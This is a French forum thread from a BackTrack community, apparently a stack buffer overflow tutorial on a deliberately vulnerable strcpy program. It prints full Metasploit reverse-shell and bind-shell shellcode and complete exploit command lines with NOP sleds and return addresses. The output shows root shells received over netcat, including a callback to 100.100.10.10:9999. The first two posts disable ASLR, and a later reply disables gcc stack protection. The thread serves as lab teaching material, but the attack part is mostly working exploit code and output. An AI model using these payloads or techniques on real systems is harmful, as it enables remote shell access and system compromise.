Remote Exploit Forums

Go Back   Remote Exploit Forums > International Communities > BackTrack French Community > Tutoriaux et howtos


   

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 09-14-2009, 10:21 AM
Nagual's Avatar
Moderator
 
Join Date: Nov 2007
Location: Desert of S3th
Posts: 253
Default Initiation aux Buffer Overflow (BOF)

Voici tout d'abord un petit document à lire si vous ne savez pas ce que sait.

Dépassement de tampon - Wikipédia

Pour commencer nous allons désactiver la "protection" contre les BOF du kernel en mettant 0 dans /proc/sys/kernel/randomize_va_space

root@BT4-Nag:~# echo 0 > /proc/sys/kernel/randomize_va_space

Encore un peu de doc.

Address space layout randomization - Wikipédia

Voici un programme C faillible avec la fonction strcpy

Code:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
int bof(char *string) {
 char buffer|1024|;
 strcpy(buffer, string);
 return 1;
}
 
int main(int argc, char *argv||) {
 bof(argv|1|);
 printf("Done..\n");
 return 1;
}
*remplacer les || par des crochets

Compilation et test de notre programme

Code:
root@BT4-Nag:~/shellcoding# gcc vuln.c -o vuln       
root@BT4-Nag:~/shellcoding# ./vuln 1
Done..
root@BT4-Nag:~/shellcoding# ./vuln `python -c "print 1200*'A'"`
Segmentation fault
On remarque le "Segmentation fault" lorsque l'on insère plus de 1024 caractères, nous allons donc fuzzer notre application dans gdb et regarder ce qu'il se passe dans la stack. Comme vous avez pu le constater on utilise python ou perl pour générer des caractères au lieu de se tapper plus de mille lettres à la main.

Code:
root@BT4-Nag:~/shellcoding# gdb ./vuln

(gdb) run `python -c "print 1024*'A'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/shellcoding/vuln `python -c "print 1024*'A'"`
Done..

Program exited with code 01.
Ici on à insèré 1024 caractères et tout ce passe bien.

Code:
run `python -c "print 1032*'A'"`   
Starting program: /root/shellcoding/vuln `python -c "print 1032*'A'"`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
41 étant la corresponce HEX de la lettre A, on constate que notre bof fonctionne. Nous allons donc modifier légèremment notre script et regarde les infos du registre.

Code:
(gdb) run `python -c "print 1028*'A'+4*'B'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/shellcoding/vuln `python -c "print 1028*'A'+4*'B'"`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
Consultation du registre avec "inf reg" ou "i r" (info registers -- List of integer registers and their contents)

Code:
(gdb) i r
eax            0x1      1
ecx            0xbfffec87       -1073746809
edx            0x425    1061
ebx            0xb7fcaff4       -1208176652
esp            0xbffff090       0xbffff090
ebp            0x42424242       0x42424242
esi            0x8048470        134513776
edi            0x8048340        134513472
eip            0x42424242       0x42424242
eflags         0x210246 | PF ZF IF RF ID |
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb)
eip 0x42424242 0x42424242

OK notre EIP a bien été écrasée par nos "B". EIP signifie "Extended Instruction Pointer", c'est donc l'endroit qui contient l'adresse de la prochaine instruction qui va être executée.

Nous devrons donc écraser notre EIP non pas par des B mais par une adresse de retour se trouvant avant notre shellcode. Mais qu'est qu'un shellcode. Un shellcode est un programme que l'on va inclure dans notre buffer et qui va faire ce qu'on lui aura demandé, en l'occurence ouvrir un shell pour cette exemple.

On va utiliser un shellcode tout près fourni par metasploit pour cet exemple.

Code:
Linux IA32 Reverse Shell

linux_ia32_reverse - LHOST=100.100.10.10 LPORT=9999 Size=96 Encoder=PexFnstenvSub http://metasploit.com unsigned char scode|| = "\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x93\xf6\x45\xb7\x83\xeb\xfc\xe2\xf4\xa2\x2d\x16\xf4\xc0\x9c\x47\xdd\xf5\xae\xcc\x56\x5e\x76\xd6\xee\x23\xc9\x88\x37\xda\x8f\xbc\xec\xc9\x9e\xd0\x32\x8a\xae\x23\xdf\xb4\xf9\x06\xd1\xc0\x7f\xa4\x07\xf5\xa6\x14\xe4\x1a\x17\x06\x7a\x13\xa4\x2d\x98\xbc\x85\x2d\xdf\xbc\x94\x2c\xd9\x1a\x15\x17\xe4\x1a\x17\xf5\xbc\x5e\x76\x45\xb7"
Ok maintenant que l'on connait la taille de notre shellcode, on va fuzzer en conséquence et ensuite aller inspecter la mémoire à la recherche de nos nops (\x90)

Code:
(gdb) run `python -c "print 600*'A'+332*'\x90'+96*'B'+4*'C'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/shellcoding/vuln `python -c "print 600*'A'+332*'\x90'+96*'B'+4*'C'"`

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
OK on a bien nos C a la place de notre EIP.

Code:
(gdb) i r
eax            0x1      1
ecx            0xbfffeca7       -1073746777
edx            0x409    1033
ebx            0xb7fcaff4       -1208176652
esp            0xbffff0b0       0xbffff0b0
ebp            0x42424242       0x42424242
esi            0x8048470        134513776
edi            0x8048340        134513472
eip            0x43434343       0x43434343
eflags         0x210246 | PF ZF IF RF ID |
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
Maintenant voyons voir ce qu'il se passe dans notre mémoire

Code:
(gdb) x/2000xb $esp
....
0xbffff620:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff628:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff630:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
....
0xbffff678:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff680:     0x90    0x90    0x42    0x42    0x42    0x42    0x42    0x42
0xbffff688:     0x42    0x42    0x42    0x42    0x42    0x42    0x42    0x42
....
0xbffff6d8:     0x42    0x42    0x42    0x42    0x42    0x42    0x42    0x42
0xbffff6e0:     0x42    0x42    0x43    0x43    0x43    0x43    0x00    0x4d
Ok on va prendre cette adresse au milieu de nos nops car elle ne contient pas de nullbyte.
0xbffff628 va devenir \x28\xf6\xff\xbf et remplacera nos 4*C. On va également remplacer nos 96*'B' par notre shellcode, ce qui nous donnera le script suivant. Avant de lancer notre script, on va lancer un netcat en écoute sur le port 9999.

Code:
root@BT4-Nag:~/shellcoding# nc -lvvp 9999
listening on |any] 9999 ...
Execution du script

Code:
(gdb) run `python -c "print 620*'A'+324*'\x90'+'\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x93\xf6\x45\xb7\x83\xeb\xfc\xe2\xf4\xa2\x2d\x16\xf4\xc0\x9c\x47\xdd\xf5\xae\xcc\x56\x5e\x76\xd6\xee\x23\xc9\x88\x37\xda\x8f\xbc\xec\xc9\x9e\xd0\x32\x8a\xae\x23\xdf\xb4\xf9\x06\xd1\xc0\x7f\xa4\x07\xf5\xa6\x14\xe4\x1a\x17\x06\x7a\x13\xa4\x2d\x98\xbc\x85\x2d\xdf\xbc\x94\x2c\xd9\x1a\x15\x17\xe4\x1a\x17\xf5\xbc\x5e\x76\x45\xb7'+'\x58\xf6\xff\xbf'"`
Starting program: /root/shellcoding/vuln `python -c "print 620*'A'+324*'\x90'+'\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x93\xf6\x45\xb7\x83\xeb\xfc\xe2\xf4\xa2\x2d\x16\xf4\xc0\x9c\x47\xdd\xf5\xae\xcc\x56\x5e\x76\xd6\xee\x23\xc9\x88\x37\xda\x8f\xbc\xec\xc9\x9e\xd0\x32\x8a\xae\x23\xdf\xb4\xf9\x06\xd1\xc0\x7f\xa4\x07\xf5\xa6\x14\xe4\x1a\x17\x06\x7a\x13\xa4\x2d\x98\xbc\x85\x2d\xdf\xbc\x94\x2c\xd9\x1a\x15\x17\xe4\x1a\x17\xf5\xbc\x5e\x76\x45\xb7'+'\x58\xf6\xff\xbf'"`
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
Voyons voir si notre shellcode reverse shell fonctionne

Code:
root@BT4-Nag:~/shellcoding# nc -lvvp 9999
listening on |any| 9999 ...
100.100.10.10: inverse host lookup failed: Unknown server error : Connection timed out
connect to |100.100.10.10] from (UNKNOWN) |100.100.10.10| 42485
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
__________________
http://backtrack-fr.net

Reply With Quote
  #2 (permalink)  
Old 09-14-2009, 10:22 AM
Nagual's Avatar
Moderator
 
Join Date: Nov 2007
Location: Desert of S3th
Posts: 253
Default

On va faire la même chose mais avec un bindshell et en perl . On sait maintenant comment fuzzer notre application donc on va juste récuperer la taille du bindshell.

Code:
linux_ia32_bind -  LPORT=4444 Size=84 Encoder=None http://metasploit.com 
unsigned char scode|| =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";
lancement du script et inspection du registre

Code:
run `perl -e 'print "A"x620,"\x90"x324,"B"x84,"C"x4'`
Starting program: /root/shellcoding/vuln `perl -e 'print "A"x620,"\x90"x324,"B"x84,"C"x4'`

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
Code:
(gdb) i r
eax            0x1      1
ecx            0xbfffeca7       -1073746777
edx            0x409    1033
ebx            0xb7fcaff4       -1208176652
esp            0xbffff0b0       0xbffff0b0
ebp            0x42424242       0x42424242
esi            0x8048470        134513776
edi            0x8048340        134513472
eip            0x43434343       0x43434343
eflags         0x210246 | PF ZF IF RF ID |
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
Trouvons une addresse de retour dans notre mémoire

Code:
(gdb) x/2000xb $esp

0xbffff648:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff650:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff658:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff660:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
...
0xbffff6d8:     0x43    0x43    0x43    0x43    0x43    0x43    0x43    0x43
0xbffff6e0:     0x43    0x43    0x43    0x42    0x42    0x42    0x42    0x00
0xbffff6e8:     0x4d    0x41    0x4e    0x50    0x41    0x54    0x48    0x3d
forgeons notre script avec l'adresse trouvée : 0xbffff658

Code:
run `perl -e 'print "A"x620,"\x90"x324,"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x58\xf6\xff\xbf"'`
Starting program: /root/shellcoding/vuln `perl -e 'print "A"x620,"\x90"x324,"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x58\xf6\xff\xbf"'`
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
Voila connectons-nous maintenant sur le port 4444.

Code:
root@BT4-Nag:~# nc localhost 4444
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
__________________
http://backtrack-fr.net


Last edited by Nagual; 09-15-2009 at 03:04 PM.
Reply With Quote
  #3 (permalink)  
Old 09-15-2009, 12:03 AM
Banned
 
Join Date: Jan 2009
Posts: 4
Default re

encore une attaque, sa laisse à réfléchir sur les intention des uns et des autres bref merci pour le tuto
Reply With Quote
  #4 (permalink)  
Old 09-15-2009, 02:17 AM
yop fr's Avatar
Moderator
 
Join Date: Jan 2008
Location: France
Posts: 245
Default

Quote:
Originally Posted by HKdnp View Post
encore une attaque
Tu veux de la défense ?

C'est bien aussi de demander ce que l'on veut, après backtrack c'est fait pour tourner en live et c'est pas vraiment fait pour la défense.

Mais si c'est ce que tu cherches fait un nouveau thread, sur des questions de defense, c'est bienvenue aussi

Et merci 7 pour la demo
Reply With Quote
  #5 (permalink)  
Old 09-15-2009, 09:58 AM
Member
 
Join Date: Sep 2009
Posts: 70
Default

Merci pour ce tuto m'ayant beaucoup éclairci, ça fait un moment que je rassemble de la doc la dessus. C'est un sujet vraiment intéressant, un de mes objectifs étant de faire tourner mon propre shellcode, mais bon me manque de la pratique et du temps pour ça.

Quote:
encore une attaque, sa laisse à réfléchir sur les intention des uns et des autres bref merci pour le tuto
Ici on parle de buffer overflow, dit toi que c'est aussi pour détourner le fonctionnement d'un logiciel dans un environnement à droit utilisateur réduit, et pas seulement pour aller enquiquiner le bonus pater familias.

On aurai jamais vu apparaître de homebrews sur la wii ou de downgrade psp sans BOF par exemple.
Reply With Quote
  #6 (permalink)  
Old 10-24-2009, 02:24 PM
Just burned his ISO
 
Join Date: Jul 2009
Posts: 2
Default

j'ai essayé ce tuto mais j'obtient ceci com resultat, qqun pourait me dire ou sa coince svp?

Code:
(gdb) run `python -c "print 1032*'A'"`
Starting program: /home/na3/test `python -c "print 1032*'A'"`
*** stack smashing detected ***: /home/na3/test terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xb7e786d8]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xb7e78690]
/home/na3/test[0x804849f]
/home/na3/test[0x8048400]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:05 4172085    /home/na3/test
08049000-0804a000 r--p 00000000 08:05 4172085    /home/na3/test
0804a000-0804b000 rw-p 00001000 08:05 4172085    /home/na3/test
0912a000-0914b000 rw-p 0912a000 00:00 0          [heap]
b7d6f000-b7d7c000 r-xp 00000000 08:05 18391102   /lib/libgcc_s.so.1
b7d7c000-b7d7d000 r--p 0000c000 08:05 18391102   /lib/libgcc_s.so.1
b7d7d000-b7d7e000 rw-p 0000d000 08:05 18391102   /lib/libgcc_s.so.1
b7d7e000-b7ed6000 r-xp 00000000 08:05 18400739   /lib/tls/i686/cmov/libc-2.8.90.so
b7ed6000-b7ed8000 r--p 00158000 08:05 18400739   /lib/tls/i686/cmov/libc-2.8.90.so
b7ed8000-b7ed9000 rw-p 0015a000 08:05 18400739   /lib/tls/i686/cmov/libc-2.8.90.so
b7ed9000-b7edc000 rw-p b7ed9000 00:00 0
b7eef000-b7ef1000 rw-p b7eef000 00:00 0
b7ef1000-b7f0b000 r-xp 00000000 08:05 18391060   /lib/ld-2.8.90.so
b7f0b000-b7f0c000 rw-p b7f0b000 00:00 0
b7f0c000-b7f0d000 r--p 0001a000 08:05 18391060   /lib/ld-2.8.90.so
b7f0d000-b7f0e000 rw-p 0001b000 08:05 18391060   /lib/ld-2.8.90.so
bf8f9000-bf90e000 rw-p bffeb000 00:00 0          [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0          [vdso]

Program received signal SIGABRT, Aborted.
0xffffe424 in __kernel_vsyscall ()
(gdb)
Merci d'avance.
Reply With Quote
  #7 (permalink)  
Old 10-27-2009, 12:58 PM
awaxx's Avatar
Member
 
Join Date: Jun 2009
Location: 127.0.0.1
Posts: 59
Default

Merci pour ce tuto très intéressant.
__________________
http://backtrack-fr.net/
http://wiki.backtrack-fr.net/index.php/Accueil
http://forums.remote-exploit.org/discussions-generales/23386-regles.html
http://forums.remote-exploit.org/technologies-sans-fil/23709-commandes-utiles-et-infos-donner-pour-avoir-une-reponse.html
http://forums.remote-exploit.org/backtrack-videos/
Reply With Quote
  #8 (permalink)  
Old 02-04-2010, 09:44 PM
yop fr's Avatar
Moderator
 
Join Date: Jan 2008
Location: France
Posts: 245
Default

Quote:
Originally Posted by NA3oxud View Post
j'ai essayé ce tuto mais j'obtient ceci com resultat, qqun pourait me dire ou sa coince svp?

Code:
(gdb) run `python -c "print 1032*'A'"`
Starting program: /home/na3/test `python -c "print 1032*'A'"`
*** stack smashing detected ***: /home/na3/test terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xb7e786d8]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xb7e78690]
/home/na3/test[0x804849f]
/home/na3/test[0x8048400]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:05 4172085    /home/na3/test
08049000-0804a000 r--p 00000000 08:05 4172085    /home/na3/test
0804a000-0804b000 rw-p 00001000 08:05 4172085    /home/na3/test
0912a000-0914b000 rw-p 0912a000 00:00 0          [heap]
b7d6f000-b7d7c000 r-xp 00000000 08:05 18391102   /lib/libgcc_s.so.1
b7d7c000-b7d7d000 r--p 0000c000 08:05 18391102   /lib/libgcc_s.so.1
b7d7d000-b7d7e000 rw-p 0000d000 08:05 18391102   /lib/libgcc_s.so.1
b7d7e000-b7ed6000 r-xp 00000000 08:05 18400739   /lib/tls/i686/cmov/libc-2.8.90.so
b7ed6000-b7ed8000 r--p 00158000 08:05 18400739   /lib/tls/i686/cmov/libc-2.8.90.so
b7ed8000-b7ed9000 rw-p 0015a000 08:05 18400739   /lib/tls/i686/cmov/libc-2.8.90.so
b7ed9000-b7edc000 rw-p b7ed9000 00:00 0
b7eef000-b7ef1000 rw-p b7eef000 00:00 0
b7ef1000-b7f0b000 r-xp 00000000 08:05 18391060   /lib/ld-2.8.90.so
b7f0b000-b7f0c000 rw-p b7f0b000 00:00 0
b7f0c000-b7f0d000 r--p 0001a000 08:05 18391060   /lib/ld-2.8.90.so
b7f0d000-b7f0e000 rw-p 0001b000 08:05 18391060   /lib/ld-2.8.90.so
bf8f9000-bf90e000 rw-p bffeb000 00:00 0          [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0          [vdso]

Program received signal SIGABRT, Aborted.
0xffffe424 in __kernel_vsyscall ()
(gdb)
Merci d'avance.
Salut, il t'indique qu'il detecte un stack smashing, c'est une protection introduite par gcc (le compilateur), si tu veux suivre le tuto il faut désactiver cette option (7 ne l'a peut être pas précisé car il utilise peut être une ancienne version de gcc, ne l'incluant pas par défaut).

Soluce:
Code:
root ☯ gcc vuln.c -o vuln -fno-stack-protector
root ☯ gdb ./vuln
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) run `python -c "print 1032*'A'"`  
Starting program: /root/Bureau/vuln `python -c "print 1032*'A'"`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
voila comme tu peux le constater l'eip devrait etre rempli de A (en hexadecimal)

Meme chose mais en ajoutant 4 B, l'eip devrait etre écrasé avec l'hexa de 4 B, on test:
Code:
(gdb) run `python -c "print 1028*'A'+4*'B'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/Bureau/vuln `python -c "print 1028*'A'+4*'B'"`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
Verifiaons si l'eip est écrasé par nos B (en hexa)
état du registre:
Code:
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax            0x1	1
ecx            0xbfffece7	-1073746713
edx            0x409	1033
ebx            0xb7fbbff4	-1208238092
esp            0xbffff0f0	0xbffff0f0
ebp            0x41414141	0x41414141
esi            0x8048470	134513776
edi            0x8048340	134513472
eip            0x42424242	0x42424242
eflags         0x210246	[ PF ZF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
et c'est bon...

Voili voilou, bonne suite du tuto...

Last edited by yop fr; 02-04-2010 at 09:49 PM.
Reply With Quote
  #9 (permalink)  
Old 02-04-2010, 10:16 PM
Nagual's Avatar
Moderator
 
Join Date: Nov 2007
Location: Desert of S3th
Posts: 253
Default

merci yop_fr

bon les gars, c'est pas général à ce tuto, quand vous voyez une erreur que vous ne comprennez pas, ayez le reflexe de "googler".

Let me google that for you

CodeDump: stack smashing detected
__________________
http://backtrack-fr.net

Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On



All times are GMT. The time now is 03:29 PM.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.3.2